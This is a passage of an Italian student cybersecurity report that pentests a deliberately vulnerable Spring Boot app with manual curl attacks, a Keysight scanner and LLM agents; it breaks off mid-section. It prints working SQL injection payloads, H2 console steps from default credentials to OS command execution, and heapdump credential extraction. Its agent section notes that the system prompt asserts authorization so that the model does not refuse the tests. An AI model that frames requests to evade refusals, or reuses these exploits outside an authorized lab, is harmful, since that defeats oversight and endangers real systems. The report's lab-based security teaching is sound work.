ANALISI DI CYBERSECURITY

su OWASP-Biblioteca Spring Boot

Keysight SA8710A | Pentest Black-Box | Analisi White-Box | UN-R155 / UN-R156

Gruppo 11

	INDICE DEI CONTENUTI
1	Introduzione a Keysight SA8710A
2	Le vulnerabilita OWASP Top 10
3	Il progetto OWASP-Biblioteca
4	Attacchi Black-Box manuali del gruppo
5	Analisi Black-Box condotta da Claude sulla porta 8080
6	Keysight SA8710A: risultati e limiti osservati
7	Analisi White-Box del codice sorgente
8	Confronto tra le tre metodologie
9	Conformita normativa: UN-R155 e UN-R156

10 Programmazione Agentica: SmolaAgents, Regolo e Ollama

Parallelamente alle analisi descritte nei capitoli precedenti, il progetto ha sperimentato un approccio innovativo alla sicurezza informatica: la programmazione agentica applicata al penetration testing. Utilizzando il framework open-source SmolaAgents di HuggingFace, sono stati costruiti due agenti AI autonomi alimentati da modelli linguistici differenti - uno cloud (Regolo / apertus-70b) e uno locale (Ollama / qwen2.5-coder:7b) - e testati sullo stesso target OWASP-Biblioteca sulla porta 8080.

10.1 Come funziona il codice: architettura SmolaAgents

SmolaAgents e un framework Python sviluppato da HuggingFace che permette di costruire agenti AI capaci di ragionare, scrivere codice e eseguirlo autonomamente per risolvere compiti complessi. Il principio fondamentale e il ciclo Thought-Code-Observation: l'agente riceve un task, formula un ragionamento (Thought), scrive codice Python per affrontarlo (Code), lo esegue e osserva il risultato (Observation), poi itera fino a produrre una risposta finale.

Fase del ciclo	Cosa accade concretamente	Esempio nel contesto del pentest
1. Thought	Il modello LLM ragiona sul task e decide cosa fare	Capisce che deve fare GET su /actuator per mappare gli endpoint
2. Code	Scrive codice Python con requests, BeautifulSoup, ecc.	response = requests.get("http://localhost:8080/actuator/mappings")
3. Execution	L'interprete esegue il codice in sandbox autorizzata	Il codice viene eseguito; la risposta HTTP e disponibile come stringa
4. Observation	Il risultato torna al modello come contesto per il passo successivo	Il JSON con tutti gli endpoint dell'app e visibile all'agente
5. Iterazione	Il modello ragiona sull'osservazione e decide il passo successivo	Identifica /h2-console e decide di testarlo nel prossimo step
6. FinalAnswer	L'agente produce il report finale tramite il tool FinalAnswer	Report strutturato con vulnerabilita, CVSS e raccomandazioni

Componenti principali del codice

CodeAgent: il cuore del sistema. Riceve il modello LLM, la lista di tools (max_steps=6) e gestisce il ciclo Thought-Code-Observation. **OpenAIServerModel:** wrapper universale per qualsiasi LLM con endpoint compatibile OpenAI - usato sia per Regolo (cloud) che per Ollama (locale). **Tools Python:** FinalAnswerTool (risposta finale), DuckDuckGoSearchTool (ricerca web), tool HTTP custom per il pentest. **prompts.yaml:** il system prompt che istruisce l'agente: "sei autorizzato a fare richieste HTTP su localhost per security testing". Fondamentale per non far rifiutare i test al modello. **login_pentest.py:** modulo dedicato ai test sul form di login (scoperta form, preservazione CSRF token, test diagnostici conservativi senza brute force).

```
# Struttura essenziale - smolagent_regolo_owasp.py
agent = CodeAgent(
    model=OpenAIServerModel(
        model_id="apertus-70b",
        api_base="https://api.regolo.ai/v1",
        api_key=os.getenv("REGOLO_API_KEY")
    ),
    tools=[FinalAnswerTool(), DuckDuckGoSearchTool(), scan_tool, crawl_tool],
    max_steps=6,
```

```
    additional_authorized_imports=["requests","urllib","bs4","json","yaml","re"],
    instructions="Authorized to perform HTTP requests to localhost for security testing."
)
```

La differenza chiave rispetto a uno scanner tradizionale e che l'agente non segue uno script fisso: ragiona a ogni passo sulla base di cio che ha osservato, adattando la strategia di test in modo dinamico. Il progetto include quattro script: le versioni "base" (smolagent_regolo.py e smolagent_ollama.py) sono agenti generici con interfaccia Gradio per conversazioni libere; le versioni "owasp" specializzate includono crawler, scanner CVSS, login_pentest e modalita CLI.

10.2 Agente A - Regolo / apertus-70b: metodologia e risultati

L'agente Regolo usa il modello apertus-70b (70 miliardi di parametri) tramite l'API cloud di Regolo.ai, provider italiano che espone modelli open-source con endpoint compatibile OpenAI. L'analisi si e articolata in tre fasi con test attivi tramite richieste HTTP reali.

Fase	Attivita svolta	Endpoint principali testati
Fase 1 - Ricognizione	Verifica header HTTP, mappatura endpoint, test login	/api/auth/login, root /
Fase 2 - Enumerazione	Test sistematico Actuator, H2 Console, analisi CORS	/actuator/health|env|beans|mappings|configprops, /h2-console
Fase 3 - Pentest attivo	XSS, SQL via H2, privilege escalation, lateral movement	/api/admin/*, tutti gli endpoint da /actuator/mappings

ID	Vulnerabilita identificata	Evidenza	Severita
R-1	H2 Console esposta senza auth	GET /h2-console → HTTP 200, shell SQL accessibile	CRITICA
R-2	Actuator /env: credential e JWT secret leak	GET /actuator/env → HTTP 200, JSON con variabili	CRITICA
R-3	Actuator /beans: bean Spring esposti	GET /actuator/beans → HTTP 200	ALTA
R-4	Actuator /mappings: route discovery	GET /actuator/mappings → tutti gli endpoint admin	ALTA
R-5	Actuator /configprops: configurazione esposta	GET /actuator/configprops → HTTP 200	ALTA
R-6	X-XSS-Protection: 0 (Spring Security default)	Header X-XSS-Protection: 0 in risposta	MEDIA
R-7	HSTS e CSP assenti	Nessun Strict-Transport-Security ne Content-Security-Policy	MEDIA
R-8	CORS non configurato	OPTIONS /api/auth/login → nessun header CORS	MEDIA

Le catene di attacco documentate da Regolo: tre verticali (H2 Console → modifica credenziali admin, Actuator/env → JWT secret → token forgery ADMIN, Actuator/mappings → discovery endpoint nascosti) e quattro orizzontali (dump utenti via H2, token per altri utenti via JWT secret, XSS + furto token, CSRF via CORS non configurato).

10.3 Agente B - Ollama / qwen2.5-coder:7b: metodologia e risultati

L'agente Ollama usa qwen2.5-coder:7b (7 miliardi di parametri, specializzato nella scrittura di codice) in esecuzione locale tramite Ollama sulla porta 11434. Vantaggio chiave: tutto avviene in locale, nessun dato e inviato a server esterni. La metodologia si e basata sullo scanner OWASP locale, che visita gli URL, analizza le risposte e classifica i finding con vettori CVSS 3.1 formali.

La fase di penetration test attivo ha incontrato limitazioni strutturali: l'ambiente sandbox non permetteva import di Flask, uso di input() o apertura di file, costringendo il modello a simulare i test con dati mock anziche eseguirli realmente sull'applicazione.

ID	Vulnerabilita	URL	CVSS Score	Categoria OWASP
O-1	sensitive_endpoint_exposed: /actuator accessibile	/actuator	5.8 - MEDIO	A05:2021-Security Misconfiguration
O-2	missing_security_headers: 4 header assenti	/	5.3 - MEDIO	A05:2021-Security Misconfiguration

I quattro header mancanti rilevati dallo scanner: content-security-policy (previene XSS), x-frame-options (previene clickjacking), referrer-policy (controlla le info di referrer), strict-transport-security (forza HTTPS). La scansione e stata eseguita due volte con risultati identici, confermando la riproducibilita. Punti di forza di Ollama: output strutturato con CVSS 3.1 formale, categorie OWASP standardizzate, riproducibile, gratuito e privato.

10.4 Confronto diretto: Regolo vs Ollama

Aspetto	Regolo / apertus-70b	Ollama / qwen2.5-coder:7b
Tipo di modello	Cloud API (Regolo.ai, server remoto)	Locale (Ollama, porta 11434, zero cloud)
Dimensione modello	70 miliardi di parametri	7 miliardi di parametri (spec. codice)
Privacy dei dati	Dati inviati a server cloud Regolo	100% locale, nessun dato inviato
Costo	A consumo tramite API key Regolo	Gratuito dopo download del modello
Metodologia	Test HTTP attivi con requests Python	Scanner OWASP automatizzato (passivo)
Endpoint analizzati	10+ endpoint testati singolarmente	1 URL (single-origin scope)
Vulnerabilita trovate	8 (2 critiche, 3 alte, 3 medie)	2 (entrambe medie, CVSS 5.3 e 5.8)
H2 Console rilevata	SI - CRITICO verificato	NO - non rilevata
SQL Injection	Confermata via H2 Console	Non testata
Output CVSS formale	Parziale	Sempre: vettori CVSS 3.1 completi
Pentest attivo	Eseguito (risultati reali)	Fallito per restrizioni sandbox
Catene di attacco	3 verticali + 4 orizzontali documentate	Analisi teorica con dati mock
Livello rischio complessivo	CRITICO	**MEDIO**

i Interpretazione del confronto Regolo vs Ollama

La differenza nel numero di vulnerabilita non indica che un agente sia migliore in senso assoluto. I due approcci sono complementari: Regolo eccelle nei test attivi empirici, Ollama produce classificazioni normative strutturate con CVSS formale. Usati insieme coprono sia la profondita del test (Regolo) che la standardizzazione del report (Ollama). Il vantaggio di privacy di Ollama - nessun dato lascia il computer - e rilevante in contesti aziendali con vincoli di riservatezza.

10.5 Confronto tra tutte le metodologie: il quadro completo

Avendo applicato cinque metodologie diverse sullo stesso target, possiamo ora costruire un quadro comparativo completo che permette di posizionare ciascun approccio nel suo contesto ottimale.

Vulnerabilita	Keysight	Regolo	Ollama	Claude Black-Box	Claude White-Box
SQL Injection	NON TROVATA	Via H2 Console	NON TROVATA	TROVATA + exploitata	TROVATA + causa
Broken Access Control	NON TROVATA	Parziale	NON TROVATA	TROVATA + dimostrata	TROVATA + config
RCE via H2 Console	NON TROVATA	TROVATA - CRITICA	NON TROVATA	TROVATA (whoami)	TROVATA + riga
Actuator critico	NON TROVATA	TROVATA - CRITICA	Trovata (CVSS 5.8)	TROVATA + dati RAM	TROVATA + config
IDOR prestiti	NON TROVATA	NON TROVATA	NON TROVATA	TROVATA + dimostrata	TROVATA + metodo
MD5 senza salt	NON TROVATA	NON TROVATA	NON TROVATA	TROVATA (crack <1s)	TROVATA + riga
Backdoor superadmin	NON TROVATA	NON TROVATA	NON TROVATA	NON TROVATA	TROVATA
Token senza scadenza	NON TROVATA	NON TROVATA	NON TROVATA	TROVATA	TROVATA + Map TTL
Header HTTP mancanti	Trovata (Low)	TROVATA	TROVATA (CVSS 5.3)	Confermata	Non cercata
Tasso critiche (%)	0 / 6 (0%)	3 / 6 (50%)	0 / 6 (0%)	5 / 6 (83%)	6 / 6 (100%)

Posizionamento di ciascuna metodologia

Keysight SA8710A (0%, eccellente per automotive HW): Ideale per firmware embedded e protocolli veicolari (CAN, BLE, UDS). Cieco su API REST senza endpoint visibili. Indispensabile per la parte hardware della certificazione UNECE R155.

Ollama / qwen2.5-coder:7b (0% critiche, ottimo CVSS): Produce output normativo eccellente con CVSS 3.1 formale. Limitato dalle restrizioni sandbox. Privacy totale. Ideale per classificazione e reportistica su sistemi con dati sensibili.

Regolo / apertus-70b (50% critiche): Il modello piu grande (70B) riesce in test attivi reali. Ha trovato H2 e Actuator critici. Manca IDOR e crack MD5 perche non ha seguito la catena logica completa. Richiede API cloud.

Claude Black-Box (83% critiche): Piu efficace per API REST: usa /actuator/mappings come punto di partenza, ragiona sulla catena di attacco, verifica empiricamente. Manca solo la backdoor, invisibile senza sorgente.

Claude White-Box (100%): Visione completa con accesso al sorgente. Trova tutte le 9 vulnerabilita inclusa la backdoor. Indica la riga di codice esatta da correggere. Richiede accesso al codice.

Contesto operativo	Metodologia raccomandata	Motivazione
Test su sistema di terze parti (no sorgente)	Black-Box ragionato (Claude/Regolo)	Copre la logica applicativa; scanner cieco su API REST
Audit pre-release (sorgente disponibile)	White-Box + Black-Box	White-box trova cause radice; black-box verifica sfruttabilita
Certificazione UNECE R155 (automotive)	TARA + White-Box + Keysight	Keysight per HW/protocolli; pentest ragionato per software
Penetration test periodico post-release	Black-Box manuale + agenti AI	Simula attaccante esterno; adattivo e contestuale
Monitoraggio continuo (UN-R156)	Agenti AI (Regolo + Ollama)	24/7, adattivo, audit trail normativo automatico
Report con classificazione normativa	Ollama (scanner OWASP locale)	CVSS 3.1 formale, categorie OWASP standard, privacy totale

1 Introduzione a Keysight SA8710A

Nel panorama della sicurezza informatica applicata al settore automotive, la piattaforma **Keysight SA8710A** rappresenta una delle soluzioni commerciali piu avanzate per la validazione della sicurezza nei veicoli moderni. Man mano che i veicoli evolvono verso architetture definite dal software (Software-Defined Vehicle), la superficie di attacco si espande enormemente: interfacce wireless, bus di campo, ECU distribuite e servizi cloud convergono in ecosistemi che richiedono un approccio metodico e normato alla cybersecurity.

Il contesto normativo di riferimento e quello del Regolamento UNECE WP.29, che impone ai costruttori OEM il rispetto obbligatorio dei requisiti UN-R155 (Cybersecurity Management System) e UN-R156 (Software Update Management System). A questi si affianca lo standard ISO/SAE 21434, che definisce i processi di ingegneria della sicurezza lungo l'intero ciclo di vita del veicolo. Il SA8710A e stato progettato per rispondere a queste esigenze, fornendo un ambiente di test unificato per firmware embedded, protocolli veicolari (CAN, CAN-FD, UDS, DoIP, SOME/IP, BLE) e interfacce fisiche (OBD-II, Ethernet automotive, JTAG/UART).

1.1 Architettura e moduli operativi

La piattaforma si articola in moduli specializzati: fuzzing intelligente dei protocolli veicolari, simulazione di attacchi su Wi-Fi, Bluetooth e V2X, vulnerability scanning delle ECU, e un layer di orchestrazione per campagne automatizzate integrabili in pipeline CI/CD. Il prezzo di listino nell'ordine dei 500.000 euro riflette non solo la complessita hardware, ma anche il supporto enterprise e la copertura normativa per la certificazione UNECE.

i Nota metodologica

Il SA8710A non e pensato per essere lanciato "alla cieca": il suo utilizzo corretto prevede prima una TARA (Threat Analysis and Risk Assessment) secondo ISO/SAE 21434 Clausola 15, poi la classificazione delle minacce sulle categorie OWASP IoT, e solo infine l'esecuzione delle campagne. Nel contesto di questo progetto, questo flusso non e stato rispettato, con conseguenze dirette sui risultati.

1.2 Copertura OWASP IoT Top 10

Categoria OWASP IoT	Ambito automotive	Modulo SA8710A	Copertura
I1 - Weak Passwords	ECU con credenziali di default	Credential Scanner	ALTA
I2 - Insecure Network Services	Servizi TCP/IP su porte aperte	Port Scanner + Fuzzer	ALTA
I3 - Insecure Ecosystem Interfaces	API backend V2X / REST cloud	Web Scanner (W3AF)	PARZIALE
I4 - Lack of Secure Update	Aggiornamenti OTA non firmati	OTA Security Tester	ALTA
I5 - Vulnerable Components	Librerie firmware con CVE noti	SBOM Analyzer	MEDIA
I6 - Insufficient Privacy Protection	Dati PII in chiaro su bus	Traffic Inspector	ALTA
I7 - Insecure Data Transfer	CAN injection, replay, BLE sniffing	CAN Fuzzer / BT Tester	ALTA
I8 - Lack of Device Management	Assenza policy di logging ECU	Non coperto direttamente	PARZIALE
I9 - Insecure Default Settings	Debug attivo, console admin esposta	Config Scanner	ALTA
I10 - Lack of Physical Hardening	JTAG/UART non protetto	Hardware Interface Tester	ALTA

*** Punto critico emerso nel progetto**

La copertura sulla categoria I3 (interfacce API/cloud) e PARZIALE. Il modulo W3AF e progettato per applicazioni HTML tradizionali con link e form, non per API REST che non espongono alcun endpoint dalla root. Questo limite e la causa principale del fallimento dello scanner sulla porta 8080.

2 Le vulnerabilita OWASP Top 10

L'OWASP (Open Worldwide Application Security Project) pubblica e mantiene la lista delle dieci classi di vulnerabilita piu critiche nelle applicazioni web. La versione OWASP Top 10:2025 e il framework di riferimento di questo progetto: non e un semplice catalogo di bug, ma un linguaggio condiviso per la valutazione del rischio, con cause, impatti e contromisure standardizzate per ogni categoria.

Codice	Categoria	In pratica significa...	Istanza in OWASP-Biblioteca
A01	Broken Access Control	Server non verifica identita e ruolo di chi chiede	Endpoint /api/admin accessibile senza token
A02	Cryptographic Failures	Dati sensibili protetti con algoritmi deboli	Password hashing con MD5 senza salt
A03	Injection	Input utente trattato come codice SQL/OS	SQL Injection su /api/books/search
A04	Insecure Design	Assenza di sicurezza nella progettazione	Design complessivo privo di security by design
A05	Security Misconfiguration	Debug attivo, console aperte, default insicuri	H2 Console, Actuator, stack trace esposti
A06	Vulnerable Components	Librerie e framework con CVE noti	Non presente in questa applicazione
A07	Auth and Session Failures	Autenticazione debole, token senza scadenza	Backdoor hardcodata, token UUID senza TTL
A08	Software Integrity Failures	No verifica integrita aggiornamenti	Non presente in questa applicazione
A09	Security Logging Failures	Log assenti o con dati sensibili in chiaro	Password stampata in chiaro nei log del server
A10	SSRF	Server fa richieste a URL dell'attaccante	Non presente in questa applicazione

Le categorie non agiscono in isolamento: nel progetto OWASP-Biblioteca, A01 ha esposto gli hash, A02 ha permesso il loro crack, A07 ha fornito l'accesso admin, A05 ha abilitato la RCE. L'intera catena parte da una singola richiesta HTTP non autenticata e termina con l'esecuzione di comandi sul sistema operativo del server.

3 Il Progetto OWASP-Biblioteca

OWASP-Biblioteca e un'applicazione web didattica sviluppata in **Java con Spring Boot 3.2.5**, progettata intenzionalmente con vulnerabilita per fornire un ambiente di laboratorio realistico. Simula il sistema di gestione di una biblioteca: registrazione utenti, autenticazione, ricerca libri, prestito e restituzione. Espone le funzionalita tramite API REST sulla porta 8080, senza interfaccia frontend.

3.1 Stack tecnologico

Componente	Tecnologia	Configurazione insicura applicata
Backend	Spring Boot 3.2.5 + Spring Security	anyRequest().permitAll() in SecurityConfig
Application Server	Apache Tomcat (embedded)	server.error.include-stacktrace=always
Database	H2 in-memory (mem:biblioteca)	spring.h2.console.enabled=true + web-allow-others=true
Autenticazione	Token UUID custom (X-Auth-Token)	Nessuna scadenza, Map in-memory
Hashing password	MD5 via DigestUtils	Nessun salt, algoritmo deprecato
Monitoraggio	Spring Boot Actuator	management.endpoints.web.exposure.include=*

3.2 Utenti e credenziali iniziali

ID	Username	Ruolo	Hash MD5	Password
1	admin	ADMIN	0192023a7bbd73250516f069df18b500	admin123
2	mario	USER	7c6a180b36896a0a8c02787eeafb0e4c	password1
3	lucia	USER	06e9071db01b828dd2e72ff59a95cb8b	lucia123
4	guest	USER	084e0343a0486ff05530df6c705c8bb4	guest

! Nota sulla gravita

Tutti e quattro gli hash sono stati estratti con una singola richiesta GET non autenticata a /api/admin/users, e tutte le password sono state recuperate in meno di 10 secondi tramite CrackStation.net. La combinazione MD5 senza salt + endpoint admin aperto rappresenta la prima e piu immediata catena di compromissione.

4 Attacchi Black-Box manuali del gruppo

In parallelo all'utilizzo dello scanner Keysight, il gruppo ha condotto una sessione di penetration testing manuale sull'applicazione, seguendo la struttura delle categorie OWASP Top 10. Tutti gli attacchi sono stati eseguiti in modalita black-box con lo strumento curl da riga di comando, simulando il punto di vista di un attaccante esterno senza accesso al codice sorgente.

4.1 A01 - Broken Access Control: accesso admin e IDOR

Una GET a /api/admin/users senza alcun token ha restituito immediatamente la lista completa degli utenti con hash. La stessa assenza di controllo ha permesso operazioni DELETE su utenti specifici. Sul fronte IDOR, autenticandosi come "mario", e stato possibile leggere i prestiti dell'utente "admin" modificando il solo ID nell'URL. Un secondo IDOR ha dimostrato che un utente puo chiudere il prestito di un altro inviando una PUT con il proprio token ma referenziando l'ID altrui.

```
curl -X GET http://localhost:8080/api/admin/users
=>
[{"id":1,"username":"admin","password":"0192023a7bbd73250516f069df18b500","role":"ADMIN",...}]
```

4.2 A02 - Cryptographic Failures: crack MD5

Gli hash estratti dall'attacco precedente sono stati incollati su CrackStation.net. Il sito utilizza Rainbow Tables, ovvero dizionari precompilati che associano miliardi di password comuni ai loro hash MD5. Il risultato e stato immediato: tutte le password recuperate in meno di 10 secondi. La velocita e possibile perche MD5 e deterministico e rapido, caratteristiche ideali per checksum ma devastanti per lo storage delle password.

Utente	Hash MD5 (troncato)	Password recuperata	Tempo
admin	0192023a7bbd...	admin123	< 1s
mario	7c6a180b368...	password1	< 1s
lucia	06e9071db01...	lucia123	< 1s
guest	084e0343a04...	guest	< 1s

4.3 A03 - SQL Injection: tre payload progressivi

L'endpoint /api/books/search concatena l'input nel titolo direttamente nella query SQL. Tre attacchi progressivi: il primo payload ha annullato la clausola WHERE restituendo tutti i libri; il secondo UNION-based ha estratto la tabella users mascherata come risultati di ricerca; il terzo ha interrogato INFORMATION_SCHEMA.COLUMNS per enumerare la struttura completa del database.

```
# Payload 1 - Dump catalogo
curl "http://localhost:8080/api/books/search?title=%27%20OR%20%271%27%3D%271%27--%20"

# Payload 2 - Estrazione tabella users
curl
"http://localhost:8080/api/books/search?title=%27%20UNION%20SELECT%20id%2Cusername%2Cpassword%
2Cemail%2Ctrue%20FROM%20users--%20"
=> {"title":"admin","author":"0192023a7bbd73250516f069df18b500","isbn":"admin@biblioteca.it"}
```

4.4 A05 - Security Misconfiguration: H2 Console e Actuator

Accesso alla console H2 via /h2-console con credenziali di default (sa / [vuota]). Quattro attacchi sequenziali: SELECT su tabella users (credential dump), UPDATE del ruolo "guest" da USER ad ADMIN (privilege escalation), DELETE sulla tabella LOANS (DoS dei dati), DROP TABLE USERS CASCADE (distruzione completa del database). L'endpoint /actuator/heapdump ha permesso il download dell'intera memoria JVM con credenziali e token in chiaro.

4.5 A07 - Authentication Failures: quattro vettori

Backdoor hardcodata: le credenziali "superadmin"/"password" restituiscono un token ADMIN senza query al database. **Auto-promozione:** il campo "role" nella registrazione viene accettato senza validazione. **Brute force:** uno script PowerShell ha trovato "admin123" in frazioni di secondo senza alcun rate limiting. **Token eterni:** il token ottenuto rimane valido giorni dopo, rendendo inutile il logout.

5 Analisi Black-Box condotta da Claude sulla porta 8080

Questa sezione documenta esclusivamente le attivita di analisi condotte da Claude in modalita Black-Box sulla porta 8080, senza accesso al codice sorgente. A differenza delle sessioni del gruppo (Cap. 4) e dello scanner Keysight (Cap. 6), qui si descrive un approccio agentico ragionato: ogni passo e guidato dalle informazioni raccolte nel passo precedente.

5.1 Punto di ingresso: mappatura dell'applicazione

Prima di lanciare qualsiasi attacco, il primo passo e stato capire la struttura dell'applicazione usando le informazioni che essa stessa espone involontariamente. L'endpoint /actuator/mappings restituisce la mappa completa di tutti i controller e le rotte registrate nel server Spring Boot.

```
GET http://10.10.37.35:8080/actuator/mappings
=> AdminController: /api/admin/users, /api/admin/loans
   LoanController:  /api/loans, /api/loans/{id}/return, /api/loans/user/{id}
   BookController:  /api/books/search, /api/books/{id}
   AuthController:  /api/auth/login, /api/auth/register
   Filter attivo:   it.unicas.spring.owasp.security.TokenAuthFilter
```

OK Perche questo e cruciale

In un solo accesso non autenticato, sono stati identificati tutti gli endpoint dell'applicazione, il nome del filtro di sicurezza custom (TokenAuthFilter, suggerisce un meccanismo di token non standard) e la struttura dei controller. Qualsiasi scanner che non conosce /actuator/mappings e cieco all'intera superficie applicativa.

5.2 Attacco 1 - SQL Injection su /api/books/search

Nota la rotta da Actuator, il parametro title e stato testato con un payload di tipo OR. La risposta ha restituito tutti i record, confermando la concatenazione diretta. Un secondo payload error-based ha estratto credenziali direttamente nel messaggio di errore HTTP:

```
GET /api/books/search?title=' OR '1'='1'--
=> tutti i 4 libri restituiti (WHERE annullata)

GET /api/books/search?title=' UNION SELECT id,username,password,email,true FROM users--
=>
{"title":"admin","author":"0192023a7bbd73250516f069df18b500","isbn":"admin@biblioteca.it",...}
```

Impatto: credenziali di tutti gli utenti estratte da endpoint pubblico non autenticato. Severita: **CRITICA.**

5.3 Attacco 2 - Broken Access Control su /api/admin

Nota la rotta AdminController da Actuator, e stata inviata una GET senza token. Il server ha risposto con 200 OK e la lista completa degli utenti. Una successiva DELETE su /api/admin/users/4 ha eliminato l'utente "guest" senza alcun token, confermando l'assenza totale di controlli sul metodo HTTP.

```
GET http://10.10.37.35:8080/api/admin/users        => HTTP 200 + lista completa utenti
DELETE http://10.10.37.35:8080/api/admin/users/4   => HTTP 200 + utente eliminato
```

Impatto: dump completo del database utenti e cancellazione senza autenticazione. Severita: **CRITICA.**

5.4 Attacco 3 - H2 Console esposta: da SQL a RCE

L'endpoint /actuator/env ha confermato il driver JDBC H2 e la stringa di connessione mem:biblioteca. Raggiunta la console via /h2-console con credenziali di default (sa / vuota), sono state eseguite quattro operazioni in escalation crescente:

Fase	Comando SQL	Risultato
1 - Info disclosure	SELECT * FROM users	Credenziali e hash di tutti gli utenti in chiaro
2 - Privilege escalation	UPDATE users SET role='ADMIN' WHERE username='guest'	Utente guest promosso ad ADMIN
3 - DoS dei dati	DELETE FROM loans	Cancellazione di tutti i prestiti attivi
4 - RCE completa	CREATE ALIAS EXEC AS $$...$$; CALL EXEC('whoami')	Esecuzione whoami sul sistema operativo del server

! Remote Code Execution confermata

Il comando whoami ha restituito il nome dell'utente di sistema con cui gira il processo Java. Questo dimostra esecuzione arbitraria di comandi sul server. In un contesto di produzione, da questo punto sarebbe possibile: installare una reverse shell, esfiltrare file di configurazione, compromettere altri servizi sulla rete interna.

5.5 Attacco 4 - Spring Boot Actuator: heapdump e variabili d'ambiente

/actuator/env ha esposto la configurazione completa dell'applicazione in formato JSON, inclusi i parametri del database, le impostazioni di Spring Security e le variabili di sistema. /actuator/heapdump ha permesso il download dell'intera memoria della JVM come file binario. All'interno, tramite estrazione di stringhe, erano presenti oggetti Java serializzati con credenziali e token di sessione attivi.

```
GET /actuator/env     => JSON con configurazione JVM, URL DB, proprieta Spring
GET /actuator/heapdump => file binario .hprof (~150MB)
$ strings heapdump.hprof | grep -A2 "username"
=> User{id=1, username=admin, password=0192023a7bbd..., role=ADMIN}
```

Impatto: bypass completo di qualsiasi protezione del database. Le credenziali vengono lette direttamente dalla RAM del server. Severita: **ALTA.**

5.6 Attacco 5 - IDOR su /api/loans/user/{id}

Autenticandosi con le credenziali di "lucia" (ottenute dal crack MD5 degli hash estratti via A01), e stato verificato che l'endpoint /api/loans/user/{id} non verifica la corrispondenza tra l'ID nell'URL e l'utente del token. Lucia (id=3) ha potuto leggere i prestiti di mario (id=2) modificando il solo numero nell'URL.

```
POST /api/auth/login {"username":"lucia","password":"lucia123"}
=> {"token":"675bf0b9-e428-42e6-b2f3-36486e5ee9ab",...}

GET /api/loans/user/2
X-Auth-Token: 675bf0b9-...
=> prestiti di mario con il suo hash password incluso nella risposta
```

Impatto: accesso ai dati di qualsiasi utente modificando l'ID. La risposta include anche l'hash della password della vittima. Severita: **ALTA.**

5.7 Catena di attacco completa: da zero a RCE in 6 passi

Passo	Azione	Vulnerabilita	Risultato
1	GET /api/admin/users senza token	A01 - Broken Access Control	Lista utenti + hash MD5
2	Crack hash MD5 offline	A02 - Cryptographic Failures	Password admin: admin123
3	Login con admin/admin123	A07 - Auth Failures	Token ADMIN valido
4	UNION SELECT su /api/books/search	A03 - SQL Injection	Schema DB completo estratto
5	Accesso /h2-console con sa/[vuota]	A05 - Misconfiguration	Shell SQL sul database live
6	CREATE ALIAS + CALL EXEC('whoami')	A05 - RCE via H2	Esecuzione comandi OS

5.8 Escalation verticale e orizzontale

L'analisi ha identificato entrambe le forme di privilege escalation. La escalation verticale ha operato tramite due vettori indipendenti: Broken Access Control (un utente USER chiama le API /api/admin senza token) e crack delle credenziali admin (hash MD5 estratto e cracato offline). La escalation orizzontale e avvenuta tramite IDOR: un utente legge i dati di un altro con lo stesso livello di privilegio modificando l'ID nell'URL. Le due forme si concatenano: IDOR fornisce gli hash, crack MD5 fornisce le password, login come admin apre la H2 Console, H2 Console porta alla RCE.

6 Keysight SA8710A: risultati e limiti osservati

Il SA8710A ha eseguito 15 scansioni automatizzate sui target 10.10.37.35:8080 e 10.10.37.36:8080 tra il 21 e il 27 maggio 2026, attivando i moduli OWASP Top 10, Web Infrastructure, Server Information Leak, Fast Scan, Vulnerable HTTP Methods, Find Backdoors, Bruteforce e Clickjacking.

6.1 Risultati delle scansioni

Vulnerabilita segnalata	Severita CVSS	Valutazione
Assenza header "Server" nella risposta HTTP	3.7 (Low)	Corretta
Metodi WebDAV abilitati sul server	3.7 (Low)	Corretta
Fingerprint errato: "Microsoft-HTTPAPI/2.0"	3.7 (Low)	Falso (e Apache Tomcat)
Path /cmd.jspx flaggato come backdoor	Informational	Falso positivo (risposta 404)
Path /JspSpyJDK5.jsp flaggato	Informational	Falso positivo (risposta 404)
Path /icesword.aspx flaggato	Informational	Falso positivo (risposta 404)
SQL Injection, RCE, Broken Access Control	**CRITICA**	NON RILEVATE

6.2 Analisi delle cause del fallimento

Causa	Spiegazione tecnica	Vulnerabilita non trovata di conseguenza
Nessun crawling endpoint REST	W3AF vede solo la root / che restituisce 404. Non scopre mai /api/books/search, /actuator, /h2-console	SQL Injection, H2 Console, Actuator
Nessuna autenticazione custom	Il meccanismo X-Auth-Token e non standard. Lo strumento non si e autenticato e non ha esplorato le aree protette	Broken Access Control, IDOR
Payload generici su parametri inesistenti	SQL Injection testata su / con parametri inventati, mai su ?title= dell'endpoint specifico	SQL Injection
Falsi positivi non validati	Flagga path come /cmd.jspx senza verificare che la risposta e 404. Produce rumore inutile	Credibilita del report
Strumento fuori dal suo dominio	SA8710A e per firmware/protocolli automotive (CAN, BLE, UDS). Il modulo web e accessorio	Tutte le 6 vulnerabilita critiche

! Risultato complessivo Keysight

Il modulo "Audit High Risks" (SQL Injection, OS Command Injection, File Upload) ha prodotto ZERO vulnerabilita rilevate, nonostante la SQL Injection fosse presente, attiva e sfruttabile con un payload elementare. Il tasso di rilevamento sulle vulnerabilita critiche e stato 0/6 (0%).

7 Analisi White-Box del codice sorgente

L'analisi white-box ha esaminato direttamente il codice sorgente Java, identificando le cause radice di ogni vulnerabilita. I file analizzati sono stati: SecurityConfig.java, AuthController.java, BookService.java, LoanController.java, UserService.java e application.properties. Questa visione e complementare al black-box: mentre il pentest dimostra la sfruttabilita, la revisione del codice indica la riga esatta da correggere.

7.1 Vulnerabilita identificate: riepilogo

ID	Vulnerabilita	File + metodo	OWASP	Severita
V-01	API admin accessibile senza auth	SecurityConfig.java | configure()	A01	CRITICA
V-02	SQL Injection in /api/books/search	BookService.java | searchByTitle()	A03	CRITICA
V-03	H2 Console esposta pubblicamente	application.properties	A05	CRITICA
V-04	Spring Boot Actuator senza auth	application.properties	A05	ALTA
V-05	Password hashing con MD5 senza salt	UserService.java | saveUser()	A02	ALTA
V-06	Backdoor superadmin/password	AuthController.java | login()	A07	ALTA
V-07	IDOR sui prestiti	LoanController.java | getUserLoans()	A01	ALTA
V-08	Token UUID senza scadenza	TokenStore.java | store HashMap	A07	MEDIA
V-09	Stack trace completo nelle risposte	application.properties	A05	MEDIA

7.2 Le vulnerabilita critiche nel codice

V-01: SecurityConfig.java - la configurazione piu pericolosa

Il metodo configure() contiene anyRequest().permitAll() che apre tutti gli endpoint al pubblico. AdminController non ha alcuna annotazione @PreAuthorize. Correzione: sostituire con .requestMatchers("/api/admin/**").hasRole("ADMIN")

V-02: BookService.java - SQL Injection per concatenazione

